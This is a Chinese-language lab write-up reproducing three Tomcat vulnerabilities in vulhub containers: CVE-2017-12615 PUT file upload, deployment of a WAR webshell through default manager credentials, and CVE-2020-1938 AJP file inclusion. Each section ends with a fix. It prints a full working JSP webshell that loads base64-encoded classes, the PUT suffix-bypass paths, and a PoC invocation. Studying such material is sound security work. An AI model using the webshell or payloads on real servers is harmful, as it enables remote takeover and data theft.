Tomcat常见漏洞复现

news2024/11/25 1:02:28

Tomcat介绍

tomcat是一个开源而且免费的jsp服务器,默认端口:8080,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。在历史上也披露出来了很多的漏洞,这里我们讲几个经典的漏洞复现

一、CVE-2017-12615

Tomcat put方法任意文件写入漏洞

漏洞描述

当Tomcat运行在Windows操作系统时,且启用了HTTPPUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞原理

当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求),攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传 jsp一句话文件,从而造成远程命令执行,getshell等。

影响范围

Apache Tomcat 7.0.0-7.0.79
Apache Tomcat 8.5.19

环境搭建

cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d

漏洞复现

http://ip:8080

image-20240806093819630

1.首页抓包,修改为 PUT 方式提交
Tomcat允许适用put方法上传任意文件类型,但不允许jsp后缀文件上传,因此我们需要配合 windows的解析漏洞.

PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/

jsp木马neirong

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

image-20240806094309332

http://ip:8080/1.jsp
密码:passwd
2.Webshell客户端工具进行连接

image-20240806094430913

漏洞修复

设置readonly 为 true

二、后台弱口令部署war包

漏洞原理

在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。

影响版本

全版本(前提是人家存在弱口令)

环境搭建

cd vulhub-master/tomcat/tomcat8
docker-compose up -d

漏洞复现

http://ip:8080/manager/html
默认密码:tomcat/tomcat

image-20240806095853232

1.制作WAR包
制作WAR包,将JSP木马压缩为ZIP格式,然后修改后缀为war就可以了

image-20240806101117384

2.文件上传成功后,默认会在网站根目录下生成和war包名称一致得目录,然后目录中得))就是压缩前得 文件名。

image-20240806101138420

访问http://ip:8080/4/4.jsp

image-20240806101206831

连接,密码passwd

image-20240806101250576

漏洞修复

1.设置强口令:

conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager- gui,manager script,manager-jmx,manager-status,admin-gui,admin-script" />

2.删除manger文件

三、CVE-2020-1938

Tomcat文件包含漏洞

漏洞原理

由于Tomcat AJP协议设计上的缺陷,攻击者通过Tomcat AJP Connector 可以读取或包含Tomcat上所为Webapp目录下的任意文件,例如:
可以读取webapp配置文件或源码文件。
此外如果目标应用有文件上传的功能情况下,配合为文件包含漏洞利用GetShell。

影响版本

Apache Tomcat 6
Tomcat 7系列<7.0.100 Tomcat 8系列<8.5.51 Tomcat 9 系列 <9.0.31

环境搭建
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
漏洞复现

tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。

image-20240806102922946

POC:

python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml ip

image-20240806115615036

漏洞修复

1.更新到最新版本
2.关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。

<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

3.配置ajp配置中的secretRequired跟secret属性来限制认证。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1986267.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

中国区域创新能力评价报告数据(2001-2023年)

《中国区城创新能力评价报告》是以中国区域创新体系建设为主题的综合性、连续性的年度研究报告。以区域创新体系理论为指导&#xff0c;利用大量的统计数据&#xff0c;综合、客观及动态地给出各省市创新能力的排名与分析。 一、数据介绍 数据名称&#xff1a;中国区域创新能力…

文件夹内鼠标右键没有git bash here?

文件夹内鼠标右键没有git bash here? 如何解决&#xff0c;只需要三步 1、window 搜索git 2、进入git bash 3、输入文件路径&#xff0c;&#xff08;路径为反斜杠/&#xff09; 例如&#xff1a; D:/Desktop/photo

设计模式的概念

设计模式主要分为三类&#xff1a;创建类的设计模式、结构型设计模式、行为型设计模式。 创建类的设计模式&#xff1a;简单工厂&#xff0c;工厂模式&#xff0c;抽象工厂&#xff0c;建造者&#xff0c;单例&#xff0c;原型 结构型设计模式&#xff1a;代理模式、享元模式 行…

国密SM4算法进行数据的加密、签名和验签、解密

文章目录 前言一、SM4算法介绍二、生成128位密钥工具类三、SM4Util工具类四、测试示例 前言 本文介绍了SM4算法的基本概念、安全性以及在Java中的应用&#xff0c;包括生成16字节密钥、加密、解密、签名和验签的过程&#xff0c;展示了如何在实际开发中使用SM4算法进行信息安全…

enq: HW - contention事件来啦

业务系统反应数据库慢&#xff0c;根据时间查看awr报告。 先看一眼事件名称 HW enqueue 用于序列化超出段高水位线的空间分配。如果同时向对象添加大量数据&#xff0c;则多个进程可能同时尝试在高水位线上方分配空间&#xff0c;从而导致争用。 既然是控制资源并发的enq&…

WiFi Analyzer:你的开源WIFI管家!【送源码】

无论是在家里还是在公司&#xff0c;手机连接 WiFi 时&#xff0c;总是会出现 WiFi 信号比较弱&#xff0c;网速变慢的情况。如何检测 WiFi 信号的情况呢&#xff1f;今天给大家推荐一个开源项目——WiFi Analyzer。 项目简介 WiFi Analyzer 是一个开源的 Android 应用程序&a…

母带混音插件-Musik Hack Master Plan 1.59 WiN-MAC,长期更新持续有效

Musik Hack Master Plan 1.59 WiN-MAC 一款专业的音频母带制作流程&#xff0c;只需简单的控制就能制作出适合发布的母带&#xff1a; 水晶般清晰的响度、丰富的模拟饱和度、相位一致的成像、物理磁带模拟&#xff0c;以及修复和监听混音的额外工具。 一。Musik Hack Master P…

在 PhpStorm 中为 .java 文件启用语法高亮,需要正确配置文件类型和关联语言。

点击访问我的技术博客https://ai.weoknow.comhttps://ai.weoknow.com 因为我同时使用java和php混编所以在一个项目中如果同时打开IntelliJ IDEA和PhpStorm不符合我完美主义的本性。 捣鼓了一下搞定了 1. 添加文件类型关联 将 .java 文件与 Java 语言支持关联&#xff1a; …

新160个crackme - 023-TraceMe

运行分析 需破解用户名和序列号 PE分析 C程序&#xff0c;32位&#xff0c;无壳 静态分析&动态调试 ida打开&#xff0c;由main函数向下分析&#xff0c;找到DialogFunc函数&#xff0c;并找到关键判断函数sub_401340 进入sub_401340函数&#xff0c;发现算法 发现byte_405…

xxl-job源码学习笔记

文章目录 一、简介二、下载源码三、模块介绍四、源码解析4.1、调度中心启动流程&#xff08;xxl-job-admin&#xff09;4.1.1、JobTriggerPoolHelper&#xff08;触发任务执行的核心组件&#xff09;4.1.2、JobRegistryHelper&#xff08;维护和更新调度中心与执行器之间的注册…

常见中间件漏洞(四、Apache合集)

目录 四、Apache 4.1 CVE-2021-41773 漏洞简介 影响版本 环境搭建 漏洞复现 四、Apache 4.1 CVE-2021-41773 Apache HTTP Server 路径穿越漏洞 漏洞简介 该漏洞是由于Apache HTTP Server 2.4.49版本存在目录穿越漏洞,在路径穿越目录<Directory/>Require all gra…

Spring Boot 依赖之 lombok的@Data注解

Spring Boot 依赖之 lombok的Data注解 编译之后的代码 Java源代码 引入lombok 一、创建 Spring Boot 项目 启动 IntelliJ IDEA&#xff0c;点击 File -> New -> Project...在新项目对话框中&#xff0c;选择 Spring Initializr&#xff0c;点击 Next配置 Spring Ini…

RF放大器(传输线+终止传输线+奥品电路中常见问题+调谐放大器)

2024-8-6&#xff0c;星期二&#xff0c;22:57&#xff0c;天气&#xff1a;晴&#xff0c;心情&#xff1a;晴。下班抽出点时间看看书&#xff0c;话不多说&#xff0c;学习开始啦。 今日继续学习模电自选教材的第六章&#xff0c;多级放大器、RF放大器和功率放大器。主要学习…

机械学习—零基础学习日志(高数23——无穷小运算)

零基础为了学人工智能&#xff0c;真的开始复习高数 这段时间&#xff0c;把张宇老师讲解考研的第一部分基本全部学习完毕了。 这里把第一部分的内容最后汇总一下。 无穷小运算——吸收律 这里展示一些无穷小的具体计算思路 无穷小运算——计算方法 泰勒展开的原则 夹逼准则…

C语言程序设计-[6] if语句分支结构

if语句分支结构有三种形式&#xff0c;分别按照语句形式、流程图表示、示例的步骤进行讲解。 1、if语句的一般形式 ——简单if语句 语句形式&#xff1a;if(表达式) 语句1&#xff1b; 执行过程&#xff1a; 如果表达式值为“真”,执行该语句1&#xff0c;然后执行if的下一…

【生成式人工智能-四-chatgpt的训练过程-pretrain预训练自督导式学习督导式学习】

大模型是怎么被训练出来的具有人类智慧的 阶段一训练-自我学习-具备知识训练资料self-supervised learning&#xff08;自督导式学习&#xff09; 阶段二-怎么让模型具备人的智慧supervised learning 督导式学习预训练pretrain为什么要用预训练的模型&#xff1f;Adapter逆向工…

【大专生学前端】:挑战与机遇并存——你怎么看?

在当今互联网飞速发展的时代&#xff0c;前端开发作为连接用户与产品的重要桥梁&#xff0c;一直备受关注。然而&#xff0c;近期社会上流传着一种说法&#xff1a;“大专生学前端&#xff0c;没有前途了&#xff0c;毕业即失业。”这一观点不仅引发了广泛的讨论&#xff0c;也…

【爬虫实战】利用代理爬取电商数据

文章目录 前言工具介绍实战获取网站数据编写代码数据展示 推荐总结 前言 当今电商平台正经历着快速的转型与升级。随着技术的进步和用户需求的多样化&#xff0c;电商不仅从简单的在线购物演变为综合性的购物生态系统&#xff0c;还融合了人工智能、大数据和云计算等先进技术。…

freeRTOS入门学习-基于STM32F103C8T6最小系统板-使用cubeMX创建一个新的工程

一、准备工作 首先打开我们的cubeMX软件&#xff0c;搜索我们对应的MCU&#xff0c;我这里使用的是c8t6最小系统板 接下来双击我们需要的芯片型号 二、System Core配置 进入界面后我们先进行时钟的配置 将HSE配置为晶振 然后我们将SYS配置成为serial wire&#xff0c; …

【单片机毕业设计选题24102】-基于STM32和阿里云的禽舍环境监测控制系统

系统功能: 系统分为主机端和从机端&#xff0c;主机端主动向从机端发送信息和命令&#xff0c;从机端 收到主机端的信息后回复温湿度氨气浓度和光照强度等信息。 从机端操作&#xff1a; 从机端上电后显示“欢迎使用环境监测系统请稍后”两秒后显示第一页面。 从机端口上电…